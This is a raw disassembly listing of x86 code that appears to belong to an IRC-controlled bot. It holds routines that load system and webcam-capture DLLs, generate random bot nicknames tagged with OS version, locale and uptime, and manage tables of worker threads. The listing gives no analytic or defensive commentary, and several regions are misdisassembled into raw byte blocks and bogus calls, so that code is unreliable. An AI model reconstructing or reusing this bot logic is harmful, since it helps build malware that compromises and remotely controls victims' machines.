		cmp	ds:dword_4D12F8, esi
		jz	short loc_40A945
		push	ds:dword_4D12FC
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A945:				; CODE XREF: sub_40A729+1EEj
		cmp	ds:dword_4D1300, esi
		jz	short loc_40A979
		push	ds:dword_4D1304
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A979:				; CODE XREF: sub_40A729+222j
		cmp	ds:dword_4D1308, esi
		jz	short loc_40A9AD
		push	ds:dword_4D130C
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A9AD:				; CODE XREF: sub_40A729+256j
		cmp	ds:dword_4D1310, esi
		jz	short loc_40A9E1
		push	ds:dword_4D1314
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A9E1:				; CODE XREF: sub_40A729+28Aj
		cmp	ds:dword_4D1318, esi
		jz	short loc_40AA15
		push	ds:dword_4D131C
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40AA15:				; CODE XREF: sub_40A729+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_433F80
		push	eax
		call	sub_41BF36
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AA42
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_40AA42:				; CODE XREF: sub_40A729+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A729	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA54	proc near		; CODE XREF: sub_4018A1+4Fp
					; seg000:004076F8p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_4D1230
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AA7C
		push	[esp+arg_0]
		call	ds:dword_4D1274
		test	eax, eax
		jnz	short loc_40AA75
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AA75:				; CODE XREF: sub_40AA54+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AA7C:				; CODE XREF: sub_40AA54+Dj
		retn
sub_40AA54	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA7D	proc near		; CODE XREF: sub_4018A1+D6p
		mov	ecx, ds:dword_4D110C
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AA8B
		call	ecx ; dword_4D110C

locret_40AA8B:				; CODE XREF: sub_40AA7D+Aj
		retn
sub_40AA7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA8C	proc near		; CODE XREF: seg000:loc_403F58p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	ds:dword_4D126C
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AB52
		sub	ecx, 32h
		jz	loc_40AB4B
		sub	ecx, 48h
		jz	short loc_40AAEC
		sub	ecx, 6Eh
		jz	short loc_40AAE5


loc_40AACE:				; CODE XREF: sub_40AA8C+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_434194
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	short loc_40AB2C
; ---------------------------------------------------------------------------


loc_40AAE5:				; CODE XREF: sub_40AA8C+40j
		push	offset unk_434170
		jmp	short loc_40AB1E
; ---------------------------------------------------------------------------


loc_40AAEC:				; CODE XREF: sub_40AA8C+3Bj
		push	[ebp+var_8]
		call	sub_41BBCB
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BC40
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AB19
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_4D126C
		cmp	eax, edi
		jz	short loc_40AB52
		jmp	short loc_40AACE
; ---------------------------------------------------------------------------


loc_40AB19:				; CODE XREF: sub_40AA8C+79j
		push	offset unk_434140


loc_40AB1E:				; CODE XREF: sub_40AA8C+5Ej
					; sub_40AA8C+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_40AB2C:				; CODE XREF: sub_40AA8C+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4157A6
		pop	ecx


loc_40AB3C:				; CODE XREF: sub_40AA8C+C8j
					; sub_40AA8C+DCj
		push	esi
		call	sub_41B961
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AB4B:				; CODE XREF: sub_40AA8C+32j
		push	offset unk_434110
		jmp	short loc_40AB1E
; ---------------------------------------------------------------------------


loc_40AB52:				; CODE XREF: sub_40AA8C+29j
					; sub_40AA8C+89j
		cmp	[esi], edi
		jbe	short loc_40AB3C
		lea	ebx, [esi+4]


loc_40AB59:				; CODE XREF: sub_40AA8C+DAj
		push	ebx
		call	ds:dword_4D1268
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AB59
		jmp	short loc_40AB3C
sub_40AA8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB6A	proc near		; CODE XREF: seg000:00403D12p
					; seg000:00403E4Ap ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4D1194
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4D1320
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41BF36
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AB6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ABC3	proc near		; CODE XREF: sub_413107+24Cp
					; sub_413107+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40ABEC
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40ABDF:				; CODE XREF: sub_40ABC3+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40ABDF
		pop	edi
		jmp	short loc_40ABF0
; ---------------------------------------------------------------------------


loc_40ABEC:				; CODE XREF: sub_40ABC3+Aj
		mov	edx, [esp+4+arg_0]


loc_40ABF0:				; CODE XREF: sub_40ABC3+27j
		test	esi, esi
		pop	esi
		jz	short loc_40ABFA
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40ABFA:				; CODE XREF: sub_40ABC3+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40ABC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC10	proc near		; CODE XREF: sub_40AFA5+49p
					; DATA XREF: seg002:off_4341E0o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		call	sub_41BF92
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	ds:off_434248[edx*4]
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41C030
		xor	esi, esi
		add	esp, 14h
		cmp	ds:dword_429098, esi
		jle	short loc_40AC77


loc_40AC51:				; CODE XREF: sub_40AC10+65j
		call	sub_41BF92
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_432140
		push	1Ch
		push	edi
		call	sub_41C030
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_429098
		jl	short loc_40AC51


loc_40AC77:				; CODE XREF: sub_40AC10+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AC10	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	aO1 ; "o1"
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41C030
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_429098, esi
		jle	short loc_40ACD5


loc_40ACAF:				; CODE XREF: seg000:0040ACD3j
		call	sub_41BF92
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_432140
		push	1Ch
		push	edi
		call	sub_41C030
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_429098
		jl	short loc_40ACAF


loc_40ACD5:				; CODE XREF: seg000:0040ACADj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		call	sub_41BF92
		push	3
		mov	ebx, [esp+14h]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_429098
		test	esi, esi
		jle	short loc_40AD1D


loc_40AD07:				; CODE XREF: seg000:0040AD1Bj
		call	sub_41BF92
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40AD07


loc_40AD1D:				; CODE XREF: seg000:0040AD05j
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset aPc_0 ; "PC"
		push	eax
		push	esi
		call	near ptr 0B00000h
		jle	short near ptr loc_40AD65+1
		mov	esi, 437EA005h
		add	[edx+41h], ch
		pop	ecx
		push	1
		pop	edx


loc_40AD63:				; CODE XREF: seg000:0040AD6Ej
		cmp	eax, ecx


loc_40AD65:				; CODE XREF: seg000:0040AD55j
		jnz	short loc_40AD6A
		mov	[ebp-4], edx


loc_40AD6A:				; CODE XREF: seg000:loc_40AD65j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AD63
		push	61h
		pop	ecx


loc_40AD73:				; CODE XREF: seg000:0040AD7Ej
		cmp	eax, ecx
		jnz	short loc_40AD7A
		mov	[ebp-4], edx


loc_40AD7A:				; CODE XREF: seg000:0040AD75j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AD73
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C030
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_429098, esi
		jle	short loc_40ADBF


loc_40AD99:				; CODE XREF: seg000:0040ADBDj
		call	sub_41BF92
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_432140
		push	1Ch
		push	edi
		call	sub_41C030
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_429098
		jl	short loc_40AD99


loc_40ADBF:				; CODE XREF: seg000:0040AD97j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_4270C4	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_3	; "%s|"
		push	1Ch
		push	edi
		call	sub_41C030
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_429098, esi
		jle	short loc_40AE34


loc_40AE0E:				; CODE XREF: seg000:0040AE32j
		call	sub_41BF92
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_432140
		push	1Ch
		push	edi
		call	sub_41C030
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_429098
		jl	short loc_40AE0E


loc_40AE34:				; CODE XREF: seg000:0040AE0Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_443398
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_4270C8	; GetVersionExA
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AEBE
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AE9E
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AE8E
		mov	esi, offset a95	; "95"


loc_40AE8E:				; CODE XREF: seg000:0040AE87j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AEFA
		mov	esi, offset aNt_0 ; "NT"
		jmp	short loc_40AEFA
; ---------------------------------------------------------------------------


loc_40AE9E:				; CODE XREF: seg000:0040AE7Ej
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AEAE
		mov	esi, offset a98	; "98"
		jmp	short loc_40AEFA
; ---------------------------------------------------------------------------


loc_40AEAE:				; CODE XREF: seg000:0040AEA5j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AEF5
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40AEFA
; ---------------------------------------------------------------------------


loc_40AEBE:				; CODE XREF: seg000:0040AE75j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AEF5
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AED7
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40AEFA
; ---------------------------------------------------------------------------


loc_40AED7:				; CODE XREF: seg000:0040AECEj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AEE7
		mov	esi, offset aXp	; "XP"
		jmp	short loc_40AEFA
; ---------------------------------------------------------------------------


loc_40AEE7:				; CODE XREF: seg000:0040AEDEj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40AEFA


loc_40AEF5:				; CODE XREF: seg000:0040AEB5j
					; seg000:0040AEC5j
		mov	esi, offset a??? ; "???"


loc_40AEFA:				; CODE XREF: seg000:0040AE95j
					; seg000:0040AE9Cj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_4	; "[%s]|"
		push	1Ch
		push	edi
		call	sub_41C030
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_429098, esi
		jle	short loc_40AF3E


loc_40AF18:				; CODE XREF: seg000:0040AF3Cj
		call	sub_41BF92
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_432140
		push	1Ch
		push	edi
		call	sub_41C030
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_429098
		jl	short loc_40AF18


loc_40AF3E:				; CODE XREF: seg000:0040AF16j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF44	proc near		; CODE XREF: sub_40AFA5+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		call	ds:dword_4270A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		cmp	eax, 64h
		jbe	short loc_40AF72
		push	eax
		push	offset aD_2	; "[%d]"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C030
		add	esp, 10h


loc_40AF72:				; CODE XREF: sub_40AF44+18j
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B890
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40AFA0
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C880
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BCA0
		add	esp, 18h


loc_40AFA0:				; CODE XREF: sub_40AF44+3Bj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AF44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFA5	proc near		; CODE XREF: sub_4018A1+7Fp
					; sub_401A09+43p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_4341DC


loc_40AFB1:				; CODE XREF: sub_40AFA5+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AFCC
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C710
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AFD6
; ---------------------------------------------------------------------------


loc_40AFCC:				; CODE XREF: sub_40AFA5+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AFD6:				; CODE XREF: sub_40AFA5+25j
		test	eax, eax
		jnz	short loc_40AFE8
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_434254
		jl	short loc_40AFB1
		jmp	short loc_40AFF6
; ---------------------------------------------------------------------------


loc_40AFE8:				; CODE XREF: sub_40AFA5+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	ds:off_4341E0[eax*4]
		pop	ecx


loc_40AFF6:				; CODE XREF: sub_40AFA5+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B009
		push	[ebp+arg_0]
		call	sub_40AF44
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B009:				; CODE XREF: sub_40AFA5+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AFA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B00E	proc near		; CODE XREF: seg000:0040229Cp
					; seg000:004024F2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_443F20


loc_40B016:				; CODE XREF: sub_40B00E+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B02A
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D0F20
		jl	short loc_40B016
		jmp	short loc_40B075
; ---------------------------------------------------------------------------


loc_40B02A:				; CODE XREF: sub_40B00E+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_443F20[esi]
		push	eax
		call	sub_41BCA0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	ds:dword_444120[esi], eax
		and	ds:dword_444124[esi], 0
		mov	eax, [esp+8+arg_8]
		and	ds:dword_444128[esi], 0
		mov	ds:dword_44412C[esi], eax
		and	ds:byte_444138[esi], 0
		pop	esi


loc_40B075:				; CODE XREF: sub_40B00E+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B00E	endp

; ---------------------------------------------------------------------------
byte_40B079	db 55h,	8Bh, 0ECh	; DATA XREF: seg000:00404456o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 0E8006A14h, 6F4F38h, 555E5F30h, 0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 437FC8h, 0FF0C75FFh, 0E7E80875h
		dd 83FFFFE8h, 0FF3314C4h, 443F20BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 2E5C68FFh, 0E8500043h, 10E1Ah, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 9FE80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 20FE8147h, 7C004D0Fh, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B149	proc near		; CODE XREF: seg000:004095EAp
					; sub_40B1D7+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B1D1
		cmp	esi, 400h
		jge	short loc_40B1D1
		imul	esi, 234h
		push	edi
		push	ebx
		push	ds:dword_444134[esi]
		lea	edi, dword_444134[esi]
		call	near ptr 0B00000h
		cmp	[edi], bx
		jz	short loc_40B181
		push	1
		pop	ebp


loc_40B181:				; CODE XREF: sub_40B149+33j
		mov	[edi], ebx
		lea	edi, dword_444128[esi]
		mov	ds:dword_444120[esi], ebx
		mov	ds:dword_444124[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B1A2
		push	eax
		call	sub_41A252
		pop	ecx


loc_40B1A2:				; CODE XREF: sub_40B149+50j
		mov	[edi], ebx
		lea	edi, dword_44412C[esi]
		mov	byte ptr ds:dword_443F20[esi], bl
		mov	ds:byte_444138[esi], bl
		push	dword ptr [edi]
		call	ds:dword_4D1288
		lea	esi, dword_444130[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_4D1288
		mov	[esi], ebx
		pop	edi


loc_40B1D1:				; CODE XREF: sub_40B149+Dj
					; sub_40B149+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B149	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1D7	proc near		; CODE XREF: sub_401135+18p
					; seg000:00404A3Ap ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_443F20


loc_40B1E3:				; CODE XREF: sub_40B1D7+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B1F4
		push	edi
		call	sub_40B149
		test	eax, eax
		pop	ecx
		jz	short loc_40B1F4
		inc	ebx


loc_40B1F4:				; CODE XREF: sub_40B1D7+Fj
					; sub_40B1D7+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4D0F20
		jl	short loc_40B1E3
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B1D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B209	proc near		; CODE XREF: seg000:00405C70p
					; seg000:00405DBFp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_444124


loc_40B21D:				; CODE XREF: sub_40B209+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B23F
		test	edi, edi
		jle	short loc_40B231
		cmp	[esi], edi
		jz	short loc_40B231
		cmp	ebx, edi
		jnz	short loc_40B23F


loc_40B231:				; CODE XREF: sub_40B209+1Ej
					; sub_40B209+22j
		push	ebx
		call	sub_40B149
		test	eax, eax
		pop	ecx
		jz	short loc_40B23F
		inc	[ebp+var_4]


loc_40B23F:				; CODE XREF: sub_40B209+1Aj
					; sub_40B209+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4D1124
		jl	short loc_40B21D
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B209	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B256	proc near		; CODE XREF: seg000:0040246Bp
					; seg000:0040381Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_444120


loc_40B25D:				; CODE XREF: sub_40B256+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B266
		inc	eax


loc_40B266:				; CODE XREF: sub_40B256+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4D1120
		jl	short loc_40B25D
		retn
sub_40B256	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B275	proc near		; CODE XREF: seg000:00403EFBp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_444120


loc_40B27F:				; CODE XREF: sub_40B275+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B298
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4D1120
		jl	short loc_40B27F
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B298:				; CODE XREF: sub_40B275+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B29C	proc near		; CODE XREF: seg000:00402B55p
					; seg000:00402D5Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B2B5
		push	[ebp+arg_1C]
		call	sub_41BE29
		pop	ecx


loc_40B2B5:				; CODE XREF: sub_40B29C+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B209
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B2E1
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41BF36
		add	esp, 14h
		jmp	short loc_40B2FB
; ---------------------------------------------------------------------------


loc_40B2E1:				; CODE XREF: sub_40B29C+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41BF36
		add	esp, 10h


loc_40B2FB:				; CODE XREF: sub_40B29C+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B31B
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_40B31B:				; CODE XREF: sub_40B29C+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		pop	ecx
		leave
		retn
sub_40B29C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B32A	proc near		; CODE XREF: sub_4018A1+159p
					; seg000:0040B957p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_444134[eax], ecx
		mov	ds:dword_444120[eax], ecx
		mov	ds:dword_444124[eax], ecx
